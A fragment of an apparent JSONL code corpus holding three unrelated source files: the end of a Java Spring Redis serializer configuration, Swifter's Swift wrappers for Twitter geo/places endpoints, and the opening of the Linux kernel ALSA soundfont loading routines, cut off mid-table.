?> redisTemplate(RedisConnectionFactory connectionFactory) {\n RedisTemplate<byte[], byte[]> template = new RedisTemplate<byte[], byte[]>();\n template.setConnectionFactory(connectionFactory);\n template.setKeySerializer(new StringRedisSerializer());\n template.afterPropertiesSet();\n return template;\n }\n\n @Bean\n public RedisTemplate<?, ?> redisTemplate(RedisConnectionFactory connectionFactory, Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer) {\n RedisTemplate<byte[], byte[]> template = new RedisTemplate<byte[], byte[]>();\n template.setConnectionFactory(connectionFactory);\n // 设置key/hashkey序列化\n RedisSerializer<String> stringSerializer = new StringRedisSerializer();\n template.setKeySerializer(stringSerializer);\n template.setHashKeySerializer(stringSerializer);\n\n // 设置值序列化\n template.setValueSerializer(jackson2JsonRedisSerializer);\n template.setHashValueSerializer(jackson2JsonRedisSerializer);\n template.afterPropertiesSet();\n\n template.setKeySerializer(new StringRedisSerializer());\n template.afterPropertiesSet();\n\n return template;\n }\n\n /**\n * 序列化定制\n *\n * @return\n */\n @Bean\n public Jackson2JsonRedisSerializer<Object> jackson2JsonSerializer() {\n Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer<>(\n Object.class);\n\n // 初始化objectmapper\n ObjectMapper mapper = new ObjectMapper();\n mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);\n jackson2JsonRedisSerializer.setObjectMapper(mapper);\n return jackson2JsonRedisSerializer;\n }\n\n\n}\n"} {"text": "//\n// SwifterPlaces.swift\n// Swifter\n//\n// Copyright (c) 2014 Matt Donnelly.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n//\n\nimport Foundation\n\npublic extension Swifter {\n \n /**\n GET geo/id/:place_id\n \n Returns all the information about a known place.\n */\n func getGeoID(for placeID: String,\n success: SuccessHandler? = nil,\n failure: FailureHandler? = nil) {\n let path = \"geo/id/\\(placeID).json\"\n self.getJSON(path: path, baseURL: .api, parameters: [:], success: { json, _ in\n success?(json)\n }, failure: failure)\n }\n \n /**\n GET geo/reverse_geocode\n \n Given a latitude and a longitude, searches for up to 20 places that can be used as a place_id when updating a status.\n \n This request is an informative call and will deliver generalized results about geography.\n */\n func getReverseGeocode(for coordinate: (lat: Double, long: Double),\n accuracy: String? = nil,\n granularity: String? = nil,\n maxResults: Int? = nil,\n success: SuccessHandler? = nil,\n failure: FailureHandler? = nil) {\n let path = \"geo/reverse_geocode.json\"\n \n var parameters = [String: Any]()\n parameters[\"lat\"] = coordinate.lat\n parameters[\"long\"] = coordinate.long\n parameters[\"accuracy\"] ??= accuracy\n parameters[\"granularity\"] ??= granularity\n parameters[\"max_results\"] ??= maxResults\n \n self.getJSON(path: path, baseURL: .api, parameters: parameters, success: { json, _ in\n success?(json)\n }, failure: failure)\n }\n \n /**\n GET geo/search\n \n Search for places that can be attached to a statuses/update. Given a latitude and a longitude pair, an IP address, or a name, this request will return a list of all the valid places that can be used as the place_id when updating a status.\n \n Conceptually, a query can be made from the user's location, retrieve a list of places, have the user validate the location he or she is at, and then send the ID of this location with a call to POST statuses/update.\n \n This is the recommended method to use find places that can be attached to statuses/update. Unlike GET geo/reverse_geocode which provides raw data access, this endpoint can potentially re-order places with regards to the user who is authenticated. This approach is also preferred for interactive place matching with the user.\n */\n func searchGeo(coordinate: (lat: Double, long: Double)? = nil,\n query: String? = nil,\n ipAddress: String? = nil,\n accuracy: String? = nil,\n granularity: String? = nil,\n maxResults: Int? = nil,\n containedWithin: String? = nil,\n attributeStreetAddress: String? = nil,\n success: SuccessHandler? = nil,\n failure: FailureHandler? = nil) {\n assert(coordinate != nil || query != nil || ipAddress != nil,\n \"At least one of the following parameters must be provided to access this resource: coordinate, ipAddress, or query\")\n \n let path = \"geo/search.json\"\n \n var parameters = [String: Any]()\n if let coordinate = coordinate {\n parameters[\"lat\"] = coordinate.lat\n parameters[\"long\"] = coordinate.long\n } else if let query = query {\n parameters[\"query\"] = query\n } else if let ip = ipAddress {\n parameters[\"ip\"] = ip\n }\n parameters[\"accuracy\"] ??= accuracy\n parameters[\"granularity\"] ??= granularity\n parameters[\"max_results\"] ??= maxResults\n parameters[\"contained_within\"] ??= containedWithin\n parameters[\"attribute:street_address\"] ??= attributeStreetAddress\n \n self.getJSON(path: path, baseURL: .api, parameters: parameters, success: { json, _ in success?(json) }, failure: failure)\n }\n \n /**\n GET geo/similar_places\n \n Locates places near the given coordinates which are similar in name.\n \n Conceptually you would use this method to get a list of known places to choose from first. Then, if the desired place doesn't exist, make a request to POST geo/place to create a new one.\n \n The token contained in the response is the token needed to be able to create a new place.\n */\n func getSimilarPlaces(for coordinate: (lat: Double, long: Double),\n name: String,\n containedWithin: String? = nil,\n attributeStreetAddress: String? = nil,\n success: SuccessHandler? = nil,\n failure: FailureHandler? = nil) {\n let path = \"geo/similar_places.json\"\n \n var parameters = [String: Any]()\n parameters[\"lat\"] = coordinate.lat\n parameters[\"long\"] = coordinate.long\n parameters[\"name\"] = name\n parameters[\"contained_within\"] ??= containedWithin\n parameters[\"attribute:street_address\"] ??= attributeStreetAddress\n \n self.getJSON(path: path, baseURL: .api, parameters: parameters, success: { json, _ in\n success?(json)\n }, failure: failure)\n }\n \n}\n"} {"text": "// SPDX-License-Identifier: GPL-2.0-or-later\n/*\n * Soundfont generic routines.\n *\tIt is intended that these should be used by any driver that is willing\n *\tto accept soundfont patches.\n *\n * Copyright (C) 1999 Steve Ratcliffe\n * Copyright (c) 1999-2000 Takashi Iwai <tiwai@suse.de>\n */\n/*\n * Deal with reading in of a soundfont. Code follows the OSS way\n * of doing things so that the old sfxload utility can be used.\n * Everything may change when there is an alsa way of doing things.\n */\n#include <linux/uaccess.h>\n#include <linux/slab.h>\n#include <linux/export.h>\n#include <sound/core.h>\n#include <sound/soundfont.h>\n#include <sound/seq_oss_legacy.h>\n\n/* Prototypes for static functions */\n\nstatic int open_patch(struct snd_sf_list *sflist, const char __user *data,\n\t\t int count, int client);\nstatic struct snd_soundfont *newsf(struct snd_sf_list *sflist, int type, char *name);\nstatic int is_identical_font(struct snd_soundfont *sf, int type, unsigned char *name);\nstatic int close_patch(struct snd_sf_list *sflist);\nstatic int probe_data(struct snd_sf_list *sflist, int sample_id);\nstatic void set_zone_counter(struct snd_sf_list *sflist,\n\t\t\t struct snd_soundfont *sf, struct snd_sf_zone *zp);\nstatic struct snd_sf_zone *sf_zone_new(struct snd_sf_list *sflist,\n\t\t\t\t struct snd_soundfont *sf);\nstatic void set_sample_counter(struct snd_sf_list *sflist,\n\t\t\t struct snd_soundfont *sf, struct snd_sf_sample *sp);\nstatic struct snd_sf_sample *sf_sample_new(struct snd_sf_list *sflist,\n\t\t\t\t\t struct snd_soundfont *sf);\nstatic void sf_sample_delete(struct snd_sf_list *sflist,\n\t\t\t struct snd_soundfont *sf, struct snd_sf_sample *sp);\nstatic int load_map(struct snd_sf_list *sflist, const void __user *data, int count);\nstatic int load_info(struct snd_sf_list *sflist, const void __user *data, long count);\nstatic int remove_info(struct snd_sf_list *sflist, struct snd_soundfont *sf,\n\t\t int bank, int instr);\nstatic void init_voice_info(struct soundfont_voice_info *avp);\nstatic void init_voice_parm(struct soundfont_voice_parm *pp);\nstatic struct snd_sf_sample *set_sample(struct snd_soundfont *sf,\n\t\t\t\t\tstruct soundfont_voice_info *avp);\nstatic struct snd_sf_sample *find_sample(struct snd_soundfont *sf, int sample_id);\nstatic int load_data(struct snd_sf_list *sflist, const void __user *data, long count);\nstatic void rebuild_presets(struct snd_sf_list *sflist);\nstatic void add_preset(struct snd_sf_list *sflist, struct snd_sf_zone *cur);\nstatic void delete_preset(struct snd_sf_list *sflist, struct snd_sf_zone *zp);\nstatic struct snd_sf_zone *search_first_zone(struct snd_sf_list *sflist,\n\t\t\t\t\t int bank, int preset, int key);\nstatic int search_zones(struct snd_sf_list *sflist, int *notep, int vel,\n\t\t\tint preset, int bank, struct snd_sf_zone **table,\n\t\t\tint max_layers, int level);\nstatic int get_index(int bank, int instr, int key);\nstatic void snd_sf_init(struct snd_sf_list *sflist);\nstatic void snd_sf_clear(struct snd_sf_list *sflist);\n\n/*\n * lock access to sflist\n */\nstatic void\nlock_preset(struct snd_sf_list *sflist)\n{\n\tunsigned long flags;\n\tmutex_lock(&sflist->presets_mutex);\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tsflist->presets_locked = 1;\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n}\n\n\n/*\n * remove lock\n */\nstatic void\nunlock_preset(struct snd_sf_list *sflist)\n{\n\tunsigned long flags;\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tsflist->presets_locked = 0;\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\tmutex_unlock(&sflist->presets_mutex);\n}\n\n\n/*\n * close the patch if the patch was opened by this client.\n */\nint\nsnd_soundfont_close_check(struct snd_sf_list *sflist, int client)\n{\n\tunsigned long flags;\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tif (sflist->open_client == client) {\n\t\tspin_unlock_irqrestore(&sflist->lock, flags);\n\t\treturn close_patch(sflist);\n\t}\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\treturn 0;\n}\n\n\n/*\n * Deal with a soundfont patch. Any driver could use these routines\n * although it was designed for the AWE64.\n *\n * The sample_write and callargs pararameters allow a callback into\n * the actual driver to write sample data to the board or whatever\n * it wants to do with it.\n */\nint\nsnd_soundfont_load(struct snd_sf_list *sflist, const void __user *data,\n\t\t long count, int client)\n{\n\tstruct soundfont_patch_info patch;\n\tunsigned long flags;\n\tint rc;\n\n\tif (count < (long)sizeof(patch)) {\n\t\tsnd_printk(KERN_ERR \"patch record too small %ld\\n\", count);\n\t\treturn -EINVAL;\n\t}\n\tif (copy_from_user(&patch, data, sizeof(patch)))\n\t\treturn -EFAULT;\n\n\tcount -= sizeof(patch);\n\tdata += sizeof(patch);\n\n\tif (patch.key != SNDRV_OSS_SOUNDFONT_PATCH) {\n\t\tsnd_printk(KERN_ERR \"The wrong kind of patch %x\\n\", patch.key);\n\t\treturn -EINVAL;\n\t}\n\tif (count < patch.len) {\n\t\tsnd_printk(KERN_ERR \"Patch too short %ld, need %d\\n\",\n\t\t\t count, patch.len);\n\t\treturn -EINVAL;\n\t}\n\tif (patch.len < 0) {\n\t\tsnd_printk(KERN_ERR \"poor length %d\\n\", patch.len);\n\t\treturn -EINVAL;\n\t}\n\n\tif (patch.type == SNDRV_SFNT_OPEN_PATCH) {\n\t\t/* grab sflist to open */\n\t\tlock_preset(sflist);\n\t\trc = open_patch(sflist, data, count, client);\n\t\tunlock_preset(sflist);\n\t\treturn rc;\n\t}\n\n\t/* check if other client already opened patch */\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tif (sflist->open_client != client) {\n\t\tspin_unlock_irqrestore(&sflist->lock, flags);\n\t\treturn -EBUSY;\n\t}\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\n\tlock_preset(sflist);\n\trc = -EINVAL;\n\tswitch (patch.type) {\n\tcase SNDRV_SFNT_LOAD_INFO:\n\t\trc = load_info(sflist, data, count);\n\t\tbreak;\n\tcase SNDRV_SFNT_LOAD_DATA:\n\t\trc = load_data(sflist, data, count);\n\t\tbreak;\n\tcase SNDRV_SFNT_CLOSE_PATCH:\n\t\trc = close_patch(sflist);\n\t\tbreak;\n\tcase SNDRV_SFNT_REPLACE_DATA:\n\t\t/*rc = replace_data(&patch, data, count);*/\n\t\tbreak;\n\tcase SNDRV_SFNT_MAP_PRESET:\n\t\trc = load_map(sflist, data, count);\n\t\tbreak;\n\tcase SNDRV_SFNT_PROBE_DATA:\n\t\trc = probe_data(sflist, patch.optarg);\n\t\tbreak;\n\tcase SNDRV_SFNT_REMOVE_INFO:\n\t\t/* patch must be opened */\n\t\tif (!sflist->currsf) {\n\t\t\tsnd_printk(KERN_ERR \"soundfont: remove_info: \"\n\t\t\t\t \"patch not opened\\n\");\n\t\t\trc = -EINVAL;\n\t\t} else {\n\t\t\tint bank, instr;\n\t\t\tbank = ((unsigned short)patch.optarg >> 8) & 0xff;\n\t\t\tinstr = (unsigned short)patch.optarg & 0xff;\n\t\t\tif (! remove_info(sflist, sflist->currsf, bank, instr))\n\t\t\t\trc = -EINVAL;\n\t\t\telse\n\t\t\t\trc = 0;\n\t\t}\n\t\tbreak;\n\t}\n\tunlock_preset(sflist);\n\n\treturn rc;\n}\n\n\n/* check if specified type is special font (GUS or preset-alias) */\nstatic inline int\nis_special_type(int type)\n{\n\ttype &= 0x0f;\n\treturn (type == SNDRV_SFNT_PAT_TYPE_GUS ||\n\t\ttype == SNDRV_SFNT_PAT_TYPE_MAP);\n}\n\n\n/* open patch; create sf list */\nstatic int\nopen_patch(struct snd_sf_list *sflist, const char __user *data,\n\t int count, int client)\n{\n\tstruct soundfont_open_parm parm;\n\tstruct snd_soundfont *sf;\n\tunsigned long flags;\n\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tif (sflist->open_client >= 0 || sflist->currsf) {\n\t\tspin_unlock_irqrestore(&sflist->lock, flags);\n\t\treturn -EBUSY;\n\t}\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\n\tif (copy_from_user(&parm, data, sizeof(parm)))\n\t\treturn -EFAULT;\n\n\tif (is_special_type(parm.type)) {\n\t\tparm.type |= SNDRV_SFNT_PAT_SHARED;\n\t\tsf = newsf(sflist, parm.type, NULL);\n\t} else \n\t\tsf = newsf(sflist, parm.type, parm.name);\n\tif (sf == NULL) {\n\t\treturn -ENOMEM;\n\t}\n\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tsflist->open_client = client;\n\tsflist->currsf = sf;\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\n\treturn 0;\n}\n\n/*\n * Allocate a new soundfont structure.\n */\nstatic struct snd_soundfont *\nnewsf(struct snd_sf_list *sflist, int type, char *name)\n{\n\tstruct snd_soundfont *sf;\n\n\t/* check the shared fonts */\n\tif (type & SNDRV_SFNT_PAT_SHARED) {\n\t\tfor (sf = sflist->fonts; sf; sf = sf->next) {\n\t\t\tif (is_identical_font(sf, type, name)) {\n\t\t\t\treturn sf;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* not found -- create a new one */\n\tsf = kzalloc(sizeof(*sf), GFP_KERNEL);\n\tif (sf == NULL)\n\t\treturn NULL;\n\tsf->id = sflist->fonts_size;\n\tsflist->fonts_size++;\n\n\t/* prepend this record */\n\tsf->next = sflist->fonts;\n\tsflist->fonts = sf;\n\n\tsf->type = type;\n\tsf->zones = NULL;\n\tsf->samples = NULL;\n\tif (name)\n\t\tmemcpy(sf->name, name, SNDRV_SFNT_PATCH_NAME_LEN);\n\n\treturn sf;\n}\n\n/* check if the given name matches to the existing list */\nstatic int\nis_identical_font(struct snd_soundfont *sf, int type, unsigned char *name)\n{\n\treturn ((sf->type & SNDRV_SFNT_PAT_SHARED) &&\n\t\t(sf->type & 0x0f) == (type & 0x0f) &&\n\t\t(name == NULL ||\n\t\t memcmp(sf->name, name, SNDRV_SFNT_PATCH_NAME_LEN) == 0));\n}\n\n/*\n * Close the current patch.\n */\nstatic int\nclose_patch(struct snd_sf_list *sflist)\n{\n\tunsigned long flags;\n\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tsflist->currsf = NULL;\n\tsflist->open_client = -1;\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\n\trebuild_presets(sflist);\n\n\treturn 0;\n\n}\n\n/* probe sample in the current list -- nothing to be loaded */\nstatic int\nprobe_data(struct snd_sf_list *sflist, int sample_id)\n{\n\t/* patch must be opened */\n\tif (sflist->currsf) {\n\t\t/* search the specified sample by optarg */\n\t\tif (find_sample(sflist->currsf, sample_id))\n\t\t\treturn 0;\n\t}\n\treturn -EINVAL;\n}\n\n/*\n * increment zone counter\n */\nstatic void\nset_zone_counter(struct snd_sf_list *sflist, struct snd_soundfont *sf,\n\t\t struct snd_sf_zone *zp)\n{\n\tzp->counter = sflist->zone_counter++;\n\tif (sf->type & SNDRV_SFNT_PAT_LOCKED)\n\t\tsflist->zone_locked = sflist->zone_counter;\n}\n\n/*\n * allocate a new zone record\n */\nstatic struct snd_sf_zone *\nsf_zone_new(struct snd_sf_list *sflist, struct snd_soundfont *sf)\n{\n\tstruct snd_sf_zone *zp;\n\n\tif ((zp = kzalloc(sizeof(*zp), GFP_KERNEL)) == NULL)\n\t\treturn NULL;\n\tzp->next = sf->zones;\n\tsf->zones = zp;\n\n\tinit_voice_info(&zp->v);\n\n\tset_zone_counter(sflist, sf, zp);\n\treturn zp;\n}\n\n\n/*\n * increment sample counter\n */\nstatic void\nset_sample_counter(struct snd_sf_list *sflist, struct snd_soundfont *sf,\n\t\t struct snd_sf_sample *sp)\n{\n\tsp->counter = sflist->sample_counter++;\n\tif (sf->type & SNDRV_SFNT_PAT_LOCKED)\n\t\tsflist->sample_locked = sflist->sample_counter;\n}\n\n/*\n * allocate a new sample list record\n */\nstatic struct snd_sf_sample *\nsf_sample_new(struct snd_sf_list *sflist, struct snd_soundfont *sf)\n{\n\tstruct snd_sf_sample *sp;\n\n\tif ((sp = kzalloc(sizeof(*sp), GFP_KERNEL)) == NULL)\n\t\treturn NULL;\n\n\tsp->next = sf->samples;\n\tsf->samples = sp;\n\n\tset_sample_counter(sflist, sf, sp);\n\treturn sp;\n}\n\n/*\n * delete sample list -- this is an exceptional job.\n * only the last allocated sample can be deleted.\n */\nstatic void\nsf_sample_delete(struct snd_sf_list *sflist, struct snd_soundfont *sf,\n\t\t struct snd_sf_sample *sp)\n{\n\t/* only last sample is accepted */\n\tif (sp == sf->samples) {\n\t\tsf->samples = sp->next;\n\t\tkfree(sp);\n\t}\n}\n\n\n/* load voice map */\nstatic int\nload_map(struct snd_sf_list *sflist, const void __user *data, int count)\n{\n\tstruct snd_sf_zone *zp, *prevp;\n\tstruct snd_soundfont *sf;\n\tstruct soundfont_voice_map map;\n\n\t/* get the link info */\n\tif (count < (int)sizeof(map))\n\t\treturn -EINVAL;\n\tif (copy_from_user(&map, data, sizeof(map)))\n\t\treturn -EFAULT;\n\n\tif (map.map_instr < 0 || map.map_instr >= SF_MAX_INSTRUMENTS)\n\t\treturn -EINVAL;\n\t\n\tsf = newsf(sflist, SNDRV_SFNT_PAT_TYPE_MAP|SNDRV_SFNT_PAT_SHARED, NULL);\n\tif (sf == NULL)\n\t\treturn -ENOMEM;\n\n\tprevp = NULL;\n\tfor (zp = sf->zones; zp; prevp = zp, zp = zp->next) {\n\t\tif (zp->mapped &&\n\t\t zp->instr == map.map_instr &&\n\t\t zp->bank == map.map_bank &&\n\t\t zp->v.low == map.map_key &&\n\t\t zp->v.start == map.src_instr &&\n\t\t zp->v.end == map.src_bank &&\n\t\t zp->v.fixkey == map.src_key) {\n\t\t\t/* the same mapping is already present */\n\t\t\t/* relink this record to the link head */\n\t\t\tif (prevp) {\n\t\t\t\tprevp->next = zp->next;\n\t\t\t\tzp->next = sf->zones;\n\t\t\t\tsf->zones = zp;\n\t\t\t}\n\t\t\t/* update the counter */\n\t\t\tset_zone_counter(sflist, sf, zp);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\t/* create a new zone */\n\tif ((zp = sf_zone_new(sflist, sf)) == NULL)\n\t\treturn -ENOMEM;\n\n\tzp->bank = map.map_bank;\n\tzp->instr = map.map_instr;\n\tzp->mapped = 1;\n\tif (map.map_key >= 0) {\n\t\tzp->v.low = map.map_key;\n\t\tzp->v.high = map.map_key;\n\t}\n\tzp->v.start = map.src_instr;\n\tzp->v.end = map.src_bank;\n\tzp->v.fixkey = map.src_key;\n\tzp->v.sf_id = sf->id;\n\n\tadd_preset(sflist, zp);\n\n\treturn 0;\n}\n\n\n/* remove the present instrument layers */\nstatic int\nremove_info(struct snd_sf_list *sflist, struct snd_soundfont *sf,\n\t int bank, int instr)\n{\n\tstruct snd_sf_zone *prev, *next, *p;\n\tint removed = 0;\n\n\tprev = NULL;\n\tfor (p = sf->zones; p; p = next) {\n\t\tnext = p->next;\n\t\tif (! p->mapped &&\n\t\t p->bank == bank && p->instr == instr) {\n\t\t\t/* remove this layer */\n\t\t\tif (prev)\n\t\t\t\tprev->next = next;\n\t\t\telse\n\t\t\t\tsf->zones = next;\n\t\t\tremoved++;\n\t\t\tkfree(p);\n\t\t} else\n\t\t\tprev = p;\n\t}\n\tif (removed)\n\t\trebuild_presets(sflist);\n\treturn removed;\n}\n\n\n/*\n * Read an info record from the user buffer and save it on the current\n * open soundfont.\n */\nstatic int\nload_info(struct snd_sf_list *sflist, const void __user *data, long count)\n{\n\tstruct snd_soundfont *sf;\n\tstruct snd_sf_zone *zone;\n\tstruct soundfont_voice_rec_hdr hdr;\n\tint i;\n\n\t/* patch must be opened */\n\tif ((sf = sflist->currsf) == NULL)\n\t\treturn -EINVAL;\n\n\tif (is_special_type(sf->type))\n\t\treturn -EINVAL;\n\n\tif (count < (long)sizeof(hdr)) {\n\t\tprintk(KERN_ERR \"Soundfont error: invalid patch zone length\\n\");\n\t\treturn -EINVAL;\n\t}\n\tif (copy_from_user((char*)&hdr, data, sizeof(hdr)))\n\t\treturn -EFAULT;\n\t\n\tdata += sizeof(hdr);\n\tcount -= sizeof(hdr);\n\n\tif (hdr.nvoices <= 0 || hdr.nvoices >= 100) {\n\t\tprintk(KERN_ERR \"Soundfont error: Illegal voice number %d\\n\",\n\t\t hdr.nvoices);\n\t\treturn -EINVAL;\n\t}\n\n\tif (count < (long)sizeof(struct soundfont_voice_info) * hdr.nvoices) {\n\t\tprintk(KERN_ERR \"Soundfont Error: \"\n\t\t \"patch length(%ld) is smaller than nvoices(%d)\\n\",\n\t\t count, hdr.nvoices);\n\t\treturn -EINVAL;\n\t}\n\n\tswitch (hdr.write_mode) {\n\tcase SNDRV_SFNT_WR_EXCLUSIVE:\n\t\t/* exclusive mode - if the instrument already exists,\n\t\t return error */\n\t\tfor (zone = sf->zones; zone; zone = zone->next) {\n\t\t\tif (!zone->mapped &&\n\t\t\t zone->bank == hdr.bank &&\n\t\t\t zone->instr == hdr.instr)\n\t\t\t\treturn -EINVAL;\n\t\t}\n\t\tbreak;\n\tcase SNDRV_SFNT_WR_REPLACE:\n\t\t/* replace mode - remove the instrument if it already exists */\n\t\tremove_info(sflist, sf, hdr.bank, hdr.instr);\n\t\tbreak;\n\t}\n\n\tfor (i = 0; i < hdr.nvoices; i++) {\n\t\tstruct snd_sf_zone tmpzone;\n\n\t\t/* copy awe_voice_info parameters */\n\t\tif (copy_from_user(&tmpzone.v, data, sizeof(tmpzone.v))) {\n\t\t\treturn -EFAULT;\n\t\t}\n\n\t\tdata += sizeof(tmpzone.v);\n\t\tcount -= sizeof(tmpzone.v);\n\n\t\ttmpzone.bank = hdr.bank;\n\t\ttmpzone.instr = hdr.instr;\n\t\ttmpzone.mapped = 0;\n\t\ttmpzone.v.sf_id = sf->id;\n\t\tif (tmpzone.v.mode & SNDRV_SFNT_MODE_INIT_PARM)\n\t\t\tinit_voice_parm(&tmpzone.v.parm);\n\n\t\t/* create a new zone */\n\t\tif ((zone = sf_zone_new(sflist, sf)) == NULL) {\n\t\t\treturn -ENOMEM;\n\t\t}\n\n\t\t/* copy the temporary data */\n\t\tzone->bank = tmpzone.bank;\n\t\tzone->instr = tmpzone.instr;\n\t\tzone->v = tmpzone.v;\n\n\t\t/* look up the sample */\n\t\tzone->sample = set_sample(sf, &zone->v);\n\t}\n\n\treturn 0;\n}\n\n\n/* initialize voice_info record */\nstatic void\ninit_voice_info(struct soundfont_voice_info *avp)\n{\n\tmemset(avp, 0, sizeof(*avp));\n\n\tavp->root = 60;\n\tavp->high = 127;\n\tavp->velhigh = 127;\n\tavp->fixkey = -1;\n\tavp->fixvel = -1;\n\tavp->fixpan = -1;\n\tavp->pan = -1;\n\tavp->amplitude = 127;\n\tavp->scaleTuning = 100;\n\n\tinit_voice_parm(&avp->parm);\n}\n\n/* initialize voice_parm record:\n * Env1/2: delay=0, attack=0, hold=0, sustain=0, decay=0, release=0.\n * Vibrato and Tremolo effects are zero.\n * Cutoff is maximum.\n * Chorus and Reverb effects are zero.\n */\nstatic void\ninit_voice_parm(struct soundfont_voice_parm *pp)\n{\n\tmemset(pp, 0, sizeof(*pp));\n\n\tpp->moddelay = 0x8000;\n\tpp->modatkhld = 0x7f7f;\n\tpp->moddcysus = 0x7f7f;\n\tpp->modrelease = 0x807f;\n\n\tpp->voldelay = 0x8000;\n\tpp->volatkhld = 0x7f7f;\n\tpp->voldcysus = 0x7f7f;\n\tpp->volrelease = 0x807f;\n\n\tpp->lfo1delay = 0x8000;\n\tpp->lfo2delay = 0x8000;\n\n\tpp->cutoff = 0xff;\n}\t\n\n/* search the specified sample */\nstatic struct snd_sf_sample *\nset_sample(struct snd_soundfont *sf, struct soundfont_voice_info *avp)\n{\n\tstruct snd_sf_sample *sample;\n\n\tsample = find_sample(sf, avp->sample);\n\tif (sample == NULL)\n\t\treturn NULL;\n\n\t/* add in the actual sample offsets:\n\t * The voice_info addresses define only the relative offset\n\t * from sample pointers. Here we calculate the actual DRAM\n\t * offset from sample pointers.\n\t */\n\tavp->start += sample->v.start;\n\tavp->end += sample->v.end;\n\tavp->loopstart += sample->v.loopstart;\n\tavp->loopend += sample->v.loopend;\n\n\t/* copy mode flags */\n\tavp->sample_mode = sample->v.mode_flags;\n\n\treturn sample;\n}\n\n/* find the sample pointer with the given id in the soundfont */\nstatic struct snd_sf_sample *\nfind_sample(struct snd_soundfont *sf, int sample_id)\n{\n\tstruct snd_sf_sample *p;\n\n\tif (sf == NULL)\n\t\treturn NULL;\n\n\tfor (p = sf->samples; p; p = p->next) {\n\t\tif (p->v.sample == sample_id)\n\t\t\treturn p;\n\t}\n\treturn NULL;\n}\n\n\n/*\n * Load sample information, this can include data to be loaded onto\n * the soundcard. It can also just be a pointer into soundcard ROM.\n * If there is data it will be written to the soundcard via the callback\n * routine.\n */\nstatic int\nload_data(struct snd_sf_list *sflist, const void __user *data, long count)\n{\n\tstruct snd_soundfont *sf;\n\tstruct soundfont_sample_info sample_info;\n\tstruct snd_sf_sample *sp;\n\tlong off;\n\n\t/* patch must be opened */\n\tif ((sf = sflist->currsf) == NULL)\n\t\treturn -EINVAL;\n\n\tif (is_special_type(sf->type))\n\t\treturn -EINVAL;\n\n\tif (copy_from_user(&sample_info, data, sizeof(sample_info)))\n\t\treturn -EFAULT;\n\n\toff = sizeof(sample_info);\n\n\tif (sample_info.size != (count-off)/2)\n\t\treturn -EINVAL;\n\n\t/* Check for dup */\n\tif (find_sample(sf, sample_info.sample)) {\n\t\t/* if shared sample, skip this data */\n\t\tif (sf->type & SNDRV_SFNT_PAT_SHARED)\n\t\t\treturn 0;\n\t\treturn -EINVAL;\n\t}\n\n\t/* Allocate a new sample structure */\n\tif ((sp = sf_sample_new(sflist, sf)) == NULL)\n\t\treturn -ENOMEM;\n\n\tsp->v = sample_info;\n\tsp->v.sf_id = sf->id;\n\tsp->v.dummy = 0;\n\tsp->v.truesize = sp->v.size;\n\n\t/*\n\t * If there is wave data then load it.\n\t */\n\tif (sp->v.size > 0) {\n\t\tint rc;\n\t\trc = sflist->callback.sample_new\n\t\t\t(sflist->callback.private_data, sp, sflist->memhdr,\n\t\t\t data + off, count - off);\n\t\tif (rc < 0) {\n\t\t\tsf_sample_delete(sflist, sf, sp);\n\t\t\treturn rc;\n\t\t}\n\t\tsflist->mem_used += sp->v.truesize;\n\t}\n\n\treturn count;\n}\n\n\n/* log2_tbl[i] = log2(i+128) * 0x10000 */\nstatic const int log_tbl[129] = {\n\t0x70000, 0x702df, 0x705b9, 0x7088e, 0x70b5d, 0x70e26, 0x710eb, 0x713aa,\n\t0x71663, 0x71918, 0x71bc8, 0x71e72, 0x72118, 0x723b9, 0x72655, 0x728ed,\n\t0x72b80, 0x72e0e, 0x73098, 0x7331d, 0x7359e, 0x7381b, 0x73a93, 0x73d08,\n\t0x73f78, 0x741e4, 0x7444c, 0x746b0, 0x74910, 0x74b6c, 0x74dc4, 0x75019,\n\t0x75269, 0x754b6, 0x75700, 0x75946, 0x75b88, 0x75dc7, 0x76002, 0x7623a,\n\t0x7646e, 0x766a0, 0x768cd, 0x76af8, 0x76d1f, 0x76f43, 0x77164, 0x77382,\n\t0x7759d, 0x777b4, 0x779c9, 0x77bdb, 0x77dea, 0x77ff5, 0x781fe, 0x78404,\n\t0x78608, 0x78808, 0x78a06, 0x78c01, 0x78df9, 0x78fef, 0x791e2, 0x793d2,\n\t0x795c0, 0x797ab, 0x79993, 0x79b79, 0x79d5d, 0x79f3e, 0x7a11d, 0x7a2f9,\n\t0x7a4d3, 0x7a6ab, 0x7a880, 0x7aa53, 0x7ac24, 